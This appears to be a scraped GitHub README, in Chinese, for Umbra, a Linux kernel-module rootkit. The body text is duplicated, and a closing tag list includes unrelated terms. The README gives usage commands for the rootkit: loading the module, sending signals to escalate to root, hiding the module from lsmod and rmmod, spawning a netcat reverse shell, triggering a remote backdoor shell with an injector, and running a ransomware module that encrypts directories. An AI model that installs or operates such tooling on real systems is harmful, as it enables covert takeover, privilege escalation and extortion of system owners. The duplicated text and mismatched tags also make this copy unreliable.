h3xduck/Umbra
GitHub: h3xduck/Umbra
一款针对 Linux 4.x/5.x 内核的实验性 LKM rootkit,提供远程后门、权限提升、文件隐藏及可扩展恶意模块功能,用于安全研究与教学。
Stars: 135 | Forks: 29




# Umbra
Umbra 是一个实验性的、可远程控制的 LKM rootkit,适用于内核 4.x 和 5.x(最高至 5.7),它开启了一个网络后门,可以向远程主机生成反向 shell、远程启动恶意软件以及更多功能。
该 rootkit 仍在开发中,尽管下面列出的功能已完全可用。

注意:该 rootkit 是在内核 5.4.0 和 Ubuntu 18.04 上开发和测试的。
## 功能
* :star2: 后门在接收到恶意的 TCP 数据包后,会向远程 IP 生成反向 shell。
* :star2: 使用 *Umbra Injector* 远程控制 rootkit:
* 远程反向 shell。
* 远程隐藏/取消隐藏 rootkit。
* 启动 *Umbra Modules*。
* **新增:** 添加了 ***Umbra Modules***,这是一种类似恶意软件的特殊模块,用于增强 Umbra,可以通过 Umbra Injector 远程启动。
* **新增:** Umbra 模块 "***Ransom***",将 Umbra 变成可远程控制的勒索软件。

* Umbra 在用户命令(如 *ls*)中隐藏其所有文件和目录。
* Umbra 可以通过信号远程和本地隐藏/取消隐藏自身。
* 通过发送信号 50 提升权限。
* 在模块加载时生成 netcat 反向 shell。
* 通过发送信号 51 向远程主机生成 netcat 反向 shell。
更多功能将在后续更新中推出。
## 免责声明
该 rootkit **仅用于教育目的**。我对因非预期使用造成的任何损害不承担责任。
另外请记住,Umbra 仅包含轻量级的隐藏和保护机制。它**不**打算在实际场景中使用。
**重要提示:** 如果您打算在自己的机器上测试此 rootkit,我*强烈建议*使用虚拟机 (VM)。
**关于 Umbra 模块:** *ransom* 模块使用了一种简单的加密机制,但它可以并且肯定会加密您机器上的任何文件夹。虽然文件可以轻松解密,但我*绝对不建议*在受控环境之外针对您的根文件夹或类似位置运行此操作。
## 目录
1. [构建与安装](#build-and-install)
2. [卸载 Umbra](#unloading-umbra)
3. [本地控制](#basic-usage-local-control)
4. [Umbra Injector:远程控制](#umbra-injector-remote-control)
5. [Umbra 模块](#umbra-modules)
* [(新增) Ransom](#ransom-module)
6. [参考资料](#references)
## 构建与安装
请记住,您应该拥有 4.x 或 5.x 内核。
1. 下载您的内核头文件
```
apt install linux-headers-$(uname -r)
```
2. 配置您的 include 路径以涵盖内核头目录(通常位于 /usr/src 下)。如果您使用的是 vscode,可以查看 ```.vscode/c_cpp_properties.json``` 以获取有关包含目录的示例。
3. 克隆项目
```
git clone https://github.com/h3xduck/Umbra.git
cd Umbra
```
4. 构建 Umbra
```
make
```
5. 在内核中加载 Umbra 并配置环境
该脚本将在内核中安装 Umbra,并配置一个特殊目录用于存储恶意软件模块。该目录随后将被 rootkit 隐藏。
```
sudo ./install.sh
```
如果您之前运行过该脚本,只想在内核中安装 Umbra,可以运行:
```
sudo insmod ./umbra.ko
```
## 卸载 Umbra
确保 Umbra 不处于隐形模式,否则此操作将失败。
```
sudo rmmod umbra
```
## 基本用法:本地控制
### 将当前用户权限更改为 root
* 向任何 PID 发送信号 50。
```
kill -50 1
```
### 启动反向 netcat shell 到 IP:PORT
* 在构建 rootkit 之前,在 CONFIG.H 中设置您想要的 IP 和端口。默认为 127.0.0.1:5888
* 在远程主机开始监听。
```
nc -lvp 5888
```
* 向任何 PID 发送信号 51。Umbra 会捕获它并启动 shell。
```
kill -51 1
```
注意:Umbra 也会尝试在加载时启动反向 shell。
### 隐藏 rootkit - 隐形模式
这将防止 rootkit 被诸如 *lsmod* 之类的命令显示,或通过 *rmmod* 被移除。
```
kill -52 1
```
### 取消隐藏 rootkit
如果隐形模式处于活动状态,这将恢复该模式。
```
kill -53 1
```
## Umbra Injector:远程控制
### 通过后门获取反向 shell
Umbra Injector 可以在安装 Umbra 之前运行(从而在它启动后获取 shell),或者在目标系统上安装 Umbra 之后运行。
```
./injector -S 127.0.0.1
```
后门监听具有以下 payload 的数据包:
`UMBRA_PAYLOAD_GET_REVERSE_SHELL`。
您也可以使用我的库 [RawTCP](https://github.com/h3xduck/RawTCP_Lib) 构建您自己的注入器。
### 远程隐藏 rootkit - 隐形模式
这将防止 rootkit 被诸如 *lsmod* 之类的命令显示,或通过 *rmmod* 被移除。
```
./injector -i 127.0.0.1
```
### 远程取消隐藏 rootkit
如果隐形模式处于活动状态,这将恢复该模式。
```
./injector -u 127.0.0.1
```
### 帮助
您可以通过以下方式查看有关如何运行 Umbra Injector 的完整信息:
```
./injector -h
```
## Umbra 模块
Umbra 模块将由 *install.sh* 脚本存储在 /tmp/umbra 中,Umbra 将在那里隐藏它们。该目录将无法通过 *ls* 或类似命令看到。
### Ransom 模块
该模块可以通过 Umbra Injector 发起远程勒索软件攻击。加密后的文件显示为 *.ubr* 扩展名。
目前,加密机制是简单的位级 NOP,作为概念验证。您可以编辑模块以包含您自己的加密算法。
#### 加密目录及其所有子目录
```
./injector -p /Your/Path/To/Encrypt -e 127.0.0.1
```
#### 解密目录及其所有子目录
```
./injector -p /Your/Path/To/Decrypt -d 127.0.0.1
```
## 参考资料
该 rootkit 的开发涉及大量关于 LKM 和 rootkit 技术的研究。以下是我使用的资源的不完整列表:
如何创建 LKM:
* https://sysprog21.github.io/lkmpg/
Linux syscall 参考:
* https://syscalls64.paolostivanin.com/
一些 rootkit 参考:
* https://xcellerator.github.io/posts/
* https://web.archive.org/web/20160620231623/http://big-daddy.fr/repository/Documentation/Hacking/Security/Malware/Rootkits/writing-rootkit.txt
* https://github.com/f0rb1dd3n/Reptile
## 许可证
该项目采用 GPLv2 许可证授权。详见 [LICENSE](https://github.com/h3xduck/Umbra/blob/master/LICENSE)
Umbra 是一个实验性的、可远程控制的 LKM rootkit,适用于内核 4.x 和 5.x(最高至 5.7),它开启了一个网络后门,可以向远程主机生成反向 shell、远程启动恶意软件以及更多功能。
该 rootkit 仍在开发中,尽管下面列出的功能已完全可用。

注意:该 rootkit 是在内核 5.4.0 和 Ubuntu 18.04 上开发和测试的。
## 功能
* :star2: 后门在接收到恶意的 TCP 数据包后,会向远程 IP 生成反向 shell。
* :star2: 使用 *Umbra Injector* 远程控制 rootkit:
* 远程反向 shell。
* 远程隐藏/取消隐藏 rootkit。
* 启动 *Umbra Modules*。
* **新增:** 添加了 ***Umbra Modules***,这是一种类似恶意软件的特殊模块,用于增强 Umbra,可以通过 Umbra Injector 远程启动。
* **新增:** Umbra 模块 "***Ransom***",将 Umbra 变成可远程控制的勒索软件。

* Umbra 在用户命令(如 *ls*)中隐藏其所有文件和目录。
* Umbra 可以通过信号远程和本地隐藏/取消隐藏自身。
* 通过发送信号 50 提升权限。
* 在模块加载时生成 netcat 反向 shell。
* 通过发送信号 51 向远程主机生成 netcat 反向 shell。
更多功能将在后续更新中推出。
## 免责声明
该 rootkit **仅用于教育目的**。我对因非预期使用造成的任何损害不承担责任。
另外请记住,Umbra 仅包含轻量级的隐藏和保护机制。它**不**打算在实际场景中使用。
**重要提示:** 如果您打算在自己的机器上测试此 rootkit,我*强烈建议*使用虚拟机 (VM)。
**关于 Umbra 模块:** *ransom* 模块使用了一种简单的加密机制,但它可以并且肯定会加密您机器上的任何文件夹。虽然文件可以轻松解密,但我*绝对不建议*在受控环境之外针对您的根文件夹或类似位置运行此操作。
## 目录
1. [构建与安装](#build-and-install)
2. [卸载 Umbra](#unloading-umbra)
3. [本地控制](#basic-usage-local-control)
4. [Umbra Injector:远程控制](#umbra-injector-remote-control)
5. [Umbra 模块](#umbra-modules)
* [(新增) Ransom](#ransom-module)
6. [参考资料](#references)
## 构建与安装
请记住,您应该拥有 4.x 或 5.x 内核。
1. 下载您的内核头文件
```
apt install linux-headers-$(uname -r)
```
2. 配置您的 include 路径以涵盖内核头目录(通常位于 /usr/src 下)。如果您使用的是 vscode,可以查看 ```.vscode/c_cpp_properties.json``` 以获取有关包含目录的示例。
3. 克隆项目
```
git clone https://github.com/h3xduck/Umbra.git
cd Umbra
```
4. 构建 Umbra
```
make
```
5. 在内核中加载 Umbra 并配置环境
该脚本将在内核中安装 Umbra,并配置一个特殊目录用于存储恶意软件模块。该目录随后将被 rootkit 隐藏。
```
sudo ./install.sh
```
如果您之前运行过该脚本,只想在内核中安装 Umbra,可以运行:
```
sudo insmod ./umbra.ko
```
## 卸载 Umbra
确保 Umbra 不处于隐形模式,否则此操作将失败。
```
sudo rmmod umbra
```
## 基本用法:本地控制
### 将当前用户权限更改为 root
* 向任何 PID 发送信号 50。
```
kill -50 1
```
### 启动反向 netcat shell 到 IP:PORT
* 在构建 rootkit 之前,在 CONFIG.H 中设置您想要的 IP 和端口。默认为 127.0.0.1:5888
* 在远程主机开始监听。
```
nc -lvp 5888
```
* 向任何 PID 发送信号 51。Umbra 会捕获它并启动 shell。
```
kill -51 1
```
注意:Umbra 也会尝试在加载时启动反向 shell。
### 隐藏 rootkit - 隐形模式
这将防止 rootkit 被诸如 *lsmod* 之类的命令显示,或通过 *rmmod* 被移除。
```
kill -52 1
```
### 取消隐藏 rootkit
如果隐形模式处于活动状态,这将恢复该模式。
```
kill -53 1
```
## Umbra Injector:远程控制
### 通过后门获取反向 shell
Umbra Injector 可以在安装 Umbra 之前运行(从而在它启动后获取 shell),或者在目标系统上安装 Umbra 之后运行。
```
./injector -S 127.0.0.1
```
后门监听具有以下 payload 的数据包:
`UMBRA_PAYLOAD_GET_REVERSE_SHELL`。
您也可以使用我的库 [RawTCP](https://github.com/h3xduck/RawTCP_Lib) 构建您自己的注入器。
### 远程隐藏 rootkit - 隐形模式
这将防止 rootkit 被诸如 *lsmod* 之类的命令显示,或通过 *rmmod* 被移除。
```
./injector -i 127.0.0.1
```
### 远程取消隐藏 rootkit
如果隐形模式处于活动状态,这将恢复该模式。
```
./injector -u 127.0.0.1
```
### 帮助
您可以通过以下方式查看有关如何运行 Umbra Injector 的完整信息:
```
./injector -h
```
## Umbra 模块
Umbra 模块将由 *install.sh* 脚本存储在 /tmp/umbra 中,Umbra 将在那里隐藏它们。该目录将无法通过 *ls* 或类似命令看到。
### Ransom 模块
该模块可以通过 Umbra Injector 发起远程勒索软件攻击。加密后的文件显示为 *.ubr* 扩展名。
目前,加密机制是简单的位级 NOP,作为概念验证。您可以编辑模块以包含您自己的加密算法。
#### 加密目录及其所有子目录
```
./injector -p /Your/Path/To/Encrypt -e 127.0.0.1
```
#### 解密目录及其所有子目录
```
./injector -p /Your/Path/To/Decrypt -d 127.0.0.1
```
## 参考资料
该 rootkit 的开发涉及大量关于 LKM 和 rootkit 技术的研究。以下是我使用的资源的不完整列表:
如何创建 LKM:
* https://sysprog21.github.io/lkmpg/
Linux syscall 参考:
* https://syscalls64.paolostivanin.com/
一些 rootkit 参考:
* https://xcellerator.github.io/posts/
* https://web.archive.org/web/20160620231623/http://big-daddy.fr/repository/Documentation/Hacking/Security/Malware/Rootkits/writing-rootkit.txt
* https://github.com/f0rb1dd3n/Reptile
## 许可证
该项目采用 GPLv2 许可证授权。详见 [LICENSE](https://github.com/h3xduck/Umbra/blob/master/LICENSE)标签:CSV导出, DNS 反向解析, IP 地址批量处理, Kernel 4.x, Kernel 5.x, LKM, Rootkit, Umbra, Zeek, 内核攻击, 内核模块, 勒索软件, 协议分析, 反向Shell, 后门, 安全资源, 客户端加密, 客户端加密, 应用安全, 恶意软件, 文件隐藏, 权限提升, 网络可见性, 网络安全, 进程隐藏, 远程控制, 隐私保护